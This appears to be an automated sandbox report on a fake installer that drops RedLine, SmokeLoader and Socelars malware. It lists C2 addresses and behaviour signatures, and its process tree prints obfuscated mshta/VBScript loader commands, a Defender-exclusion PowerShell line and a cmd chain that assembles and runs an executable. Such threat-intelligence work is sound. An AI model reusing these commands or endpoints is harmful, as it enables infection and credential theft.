Resubmissions

11-10-2021 20:45

211011-zjxjlsabbm 10

11-10-2021 13:10

211011-qegsxshcfp 10

11-10-2021 10:55

211011-mz7y3ahaak 10

10-10-2021 19:24

211010-x4mtssgae2 10

Analysis

  • max time kernel
    1812s
  • max time network
    1824s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-10-2021 10:55

General

  • Target

    setup_x86_x64_install.exe

  • Size

    3.9MB

  • MD5

    a4d23ac3c7172b9aa02e35b6bf0fd21f

  • SHA1

    0326aab7deddfefc048c9a67ac9ce4ee14ea9003

  • SHA256

    9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806

  • SHA512

    9e425d8a1beaeabfc983bb75a7a5f8a8c0823e825e9f66e17b0f515b2897da9f2d9b2f1aa9939fdbae6c826c2c730d3bc772abec9e35a61d3d73a6cdb87ddf10

Malware Config

Extracted

Family

redline

Botnet

she

C2

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/

rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE ClipBanker Variant Activity (POST)

    suricata: ET MALWARE ClipBanker Variant Activity (POST)

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 25 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 11 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 20 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Themes
    1⤵
      PID:1228
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
      1⤵
        PID:2388
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2716
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Modifies registry class
          PID:2700
          • C:\Windows\system32\wbem\WMIADAP.EXE
            wmiadap.exe /F /T /R
            2⤵
              PID:5108
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Browser
            1⤵
              PID:2604
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
              1⤵
                PID:2368
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                1⤵
                  PID:1836
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s SENS
                  1⤵
                    PID:1380
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                    1⤵
                      PID:1296
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1092
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                        1⤵
                        • Drops file in System32 directory
                        PID:1044
                        • C:\Users\Admin\AppData\Roaming\ifccdet
                          C:\Users\Admin\AppData\Roaming\ifccdet
                          2⤵
                          • Executes dropped EXE
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:4256
                        • C:\Users\Admin\AppData\Roaming\ifccdet
                          C:\Users\Admin\AppData\Roaming\ifccdet
                          2⤵
                          • Executes dropped EXE
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:2740
                        • C:\Users\Admin\AppData\Roaming\ifccdet
                          C:\Users\Admin\AppData\Roaming\ifccdet
                          2⤵
                          • Executes dropped EXE
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:524
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:60
                        • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:516
                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:3396
                            • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\setup_install.exe
                              "C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\setup_install.exe"
                              3⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of WriteProcessMemory
                              PID:1516
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3040
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                  5⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1204
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1620
                                • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun152bab5a2de.exe
                                  Sun152bab5a2de.exe
                                  5⤵
                                  • Executes dropped EXE
                                  PID:3868
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1052
                                • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun15901f2f025e.exe
                                  Sun15901f2f025e.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1856
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c taskkill /f /im chrome.exe
                                    6⤵
                                      PID:3316
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im chrome.exe
                                        7⤵
                                        • Kills process with taskkill
                                        PID:5008
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1496
                                  • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun15dbd675f871ca.exe
                                    Sun15dbd675f871ca.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Checks computer location settings
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3460
                                    • C:\Users\Admin\Pictures\Adobe Films\Dyw37aJPc6dIWec2duqF_feV.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\Dyw37aJPc6dIWec2duqF_feV.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:4416
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3460 -s 2860
                                      6⤵
                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                      • Program crash
                                      PID:4596
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3460 -s 2940
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4580
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1932
                                  • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun15f67075f27a2b5b.exe
                                    Sun15f67075f27a2b5b.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3332
                                    • C:\Users\Admin\AppData\Roaming\8994280.scr
                                      "C:\Users\Admin\AppData\Roaming\8994280.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4040
                                    • C:\Users\Admin\AppData\Roaming\3559373.scr
                                      "C:\Users\Admin\AppData\Roaming\3559373.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:2516
                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4136
                                    • C:\Users\Admin\AppData\Roaming\4676351.scr
                                      "C:\Users\Admin\AppData\Roaming\4676351.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:1292
                                    • C:\Users\Admin\AppData\Roaming\7075249.scr
                                      "C:\Users\Admin\AppData\Roaming\7075249.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4144
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3408
                                  • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun1577c3e159a3e3815.exe
                                    Sun1577c3e159a3e3815.exe /mixone
                                    5⤵
                                    • Executes dropped EXE
                                    PID:2080
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 660
                                      6⤵
                                      • Drops file in Windows directory
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4556
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 676
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4828
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 776
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4904
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 812
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5004
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 884
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4544
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 932
                                      6⤵
                                      • Program crash
                                      PID:708
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 1180
                                      6⤵
                                      • Program crash
                                      PID:4868
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 1224
                                      6⤵
                                      • Program crash
                                      PID:4244
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun1577c3e159a3e3815.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun1577c3e159a3e3815.exe" & exit
                                      6⤵
                                        PID:2248
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /im "Sun1577c3e159a3e3815.exe" /f
                                          7⤵
                                          • Kills process with taskkill
                                          PID:4648
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:3568
                                    • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun15f1b1f8c669.exe
                                      Sun15f1b1f8c669.exe
                                      5⤵
                                      • Executes dropped EXE
                                      PID:3984
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe
                                    4⤵
                                      PID:3692
                                      • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun152e52d07b74d9b5.exe
                                        Sun152e52d07b74d9b5.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:740
                                        • C:\Windows\system32\WerFault.exe
                                          C:\Windows\system32\WerFault.exe -u -p 740 -s 1912
                                          6⤵
                                          • Program crash
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4164
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Sun158d8ef840.exe
                                      4⤵
                                        PID:744
                                        • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun158d8ef840.exe
                                          Sun158d8ef840.exe
                                          5⤵
                                          • Executes dropped EXE
                                          PID:3836
                                          • C:\Windows\SysWOW64\mshta.exe
                                            "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun158d8ef840.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                            6⤵
                                              PID:2772
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun158d8ef840.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun158d8ef840.exe" ) do taskkill /F -Im "%~NxU"
                                                7⤵
                                                  PID:4708
                                                  • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                                    09xU.EXE -pPtzyIkqLZoCarb5ew
                                                    8⤵
                                                    • Executes dropped EXE
                                                    PID:4892
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                                      9⤵
                                                        PID:4980
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                                          10⤵
                                                            PID:2032
                                                        • C:\Windows\SysWOW64\mshta.exe
                                                          "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                                          9⤵
                                                            PID:400
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                                              10⤵
                                                              • Blocklisted process makes network request
                                                              PID:3868
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                                11⤵
                                                                  PID:4052
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                                                  11⤵
                                                                    PID:5116
                                                                  • C:\Windows\SysWOW64\control.exe
                                                                    control .\R6f7sE.I
                                                                    11⤵
                                                                      PID:5012
                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                        12⤵
                                                                        • Loads dropped DLL
                                                                        PID:2160
                                                                        • C:\Windows\system32\RunDll32.exe
                                                                          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                          13⤵
                                                                            PID:4992
                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                              "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                                                                              14⤵
                                                                              • Loads dropped DLL
                                                                              PID:4124
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F -Im "Sun158d8ef840.exe"
                                                                  8⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5052
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe
                                                          4⤵
                                                            PID:3228
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun1507db358fce61c0b.exe
                                                              Sun1507db358fce61c0b.exe
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Checks SCSI registry key(s)
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious behavior: MapViewOfSection
                                                              PID:3572
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe
                                                            4⤵
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:3500
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe
                                                            4⤵
                                                              PID:2844
                                                      • \??\c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                        1⤵
                                                        • Suspicious use of SetThreadContext
                                                        • Modifies registry class
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1344
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                          2⤵
                                                          • Drops file in System32 directory
                                                          • Checks processor information in registry
                                                          • Modifies data under HKEY_USERS
                                                          • Modifies registry class
                                                          PID:4192
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun159ff1acacf.exe
                                                        Sun159ff1acacf.exe
                                                        1⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:2668
                                                        • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun159ff1acacf.exe
                                                          C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun159ff1acacf.exe
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:896
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS44D41DF4\Sun152bea652bd7232.exe
                                                        Sun152bea652bd7232.exe
                                                        1⤵
                                                        • Executes dropped EXE
                                                        PID:2420
                                                      • C:\Windows\system32\rundll32.exe
                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                        1⤵
                                                        • Process spawned unexpected child process
                                                        PID:4992
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                          2⤵
                                                          • Loads dropped DLL
                                                          • Modifies registry class
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:5020
                                                      • C:\Users\Admin\AppData\Local\Temp\357.exe
                                                        C:\Users\Admin\AppData\Local\Temp\357.exe
                                                        1⤵
                                                        • Executes dropped EXE
                                                        PID:4560

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/60-709-0x00000289520B0000-0x0000028952122000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/60-357-0x0000028951A60000-0x0000028951AD2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/740-193-0x0000000000080000-0x0000000000081000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/740-201-0x000000001ACA0000-0x000000001ACA2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/896-308-0x0000000005710000-0x0000000005D16000-memory.dmp

                                                        Filesize

                                                        6.0MB

                                                      • memory/1044-368-0x0000012700510000-0x0000012700582000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1044-713-0x0000012700610000-0x0000012700682000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1092-712-0x00000265F7780000-0x00000265F77F2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1092-359-0x00000265F7700000-0x00000265F7772000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1204-364-0x000000007E7B0000-0x000000007E7B1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-206-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-198-0x0000000004770000-0x0000000004771000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-226-0x0000000007BA0000-0x0000000007BA1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-278-0x0000000007290000-0x0000000007291000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-204-0x0000000004C20000-0x0000000004C21000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-205-0x0000000007310000-0x0000000007311000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-197-0x0000000004770000-0x0000000004771000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-207-0x0000000004CB2000-0x0000000004CB3000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-230-0x0000000007C10000-0x0000000007C11000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-220-0x0000000007970000-0x0000000007971000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-393-0x0000000004CB3000-0x0000000004CB4000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1204-241-0x0000000007C80000-0x0000000007C81000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1228-389-0x0000020D98540000-0x0000020D985B2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1292-310-0x0000000005B80000-0x0000000005B81000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1292-285-0x0000000076F40000-0x00000000770CE000-memory.dmp

                                                        Filesize

                                                        1.6MB

                                                      • memory/1292-276-0x0000000000B40000-0x0000000000B41000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1296-391-0x000001929F660000-0x000001929F6D2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1344-333-0x0000020A88D80000-0x0000020A88DF2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1344-332-0x0000020A88CC0000-0x0000020A88D0D000-memory.dmp

                                                        Filesize

                                                        308KB

                                                      • memory/1380-386-0x000001C362470000-0x000001C3624E2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1380-714-0x000001C362A40000-0x000001C362AB2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1516-141-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                        Filesize

                                                        152KB

                                                      • memory/1516-134-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                      • memory/1516-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                      • memory/1516-130-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                        Filesize

                                                        572KB

                                                      • memory/1516-131-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                        Filesize

                                                        572KB

                                                      • memory/1516-132-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                      • memory/1516-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                      • memory/1516-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                      • memory/1516-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                      • memory/1516-137-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                      • memory/1516-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                        Filesize

                                                        572KB

                                                      • memory/1516-135-0x0000000064940000-0x0000000064959000-memory.dmp

                                                        Filesize

                                                        100KB

                                                      • memory/1836-387-0x000002B6DE8B0000-0x000002B6DE922000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/1964-312-0x00000000012F0000-0x0000000001305000-memory.dmp

                                                        Filesize

                                                        84KB

                                                      • memory/2080-210-0x00000000032D0000-0x0000000003318000-memory.dmp

                                                        Filesize

                                                        288KB

                                                      • memory/2080-217-0x0000000000400000-0x00000000016E0000-memory.dmp

                                                        Filesize

                                                        18.9MB

                                                      • memory/2160-496-0x0000000004DF0000-0x0000000004ECF000-memory.dmp

                                                        Filesize

                                                        892KB

                                                      • memory/2160-497-0x0000000004F80000-0x000000000502B000-memory.dmp

                                                        Filesize

                                                        684KB

                                                      • memory/2368-362-0x000001B8B0BA0000-0x000001B8B0C12000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/2368-710-0x000001B8B0C20000-0x000001B8B0C92000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/2388-366-0x0000015BBB140000-0x0000015BBB1B2000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/2388-711-0x0000015BBB1C0000-0x0000015BBB232000-memory.dmp

                                                        Filesize

                                                        456KB

                                                      • memory/2516-237-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2516-242-0x00000000028A0000-0x00000000028AC000-memory.dmp

                                                        Filesize

                                                        48KB

                                                      • memory/2516-239-0x0000000002890000-0x0000000002891000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2516-245-0x000000000A610000-0x000000000A611000-memory.dmp

                                                        Filesize

                                                        4KB

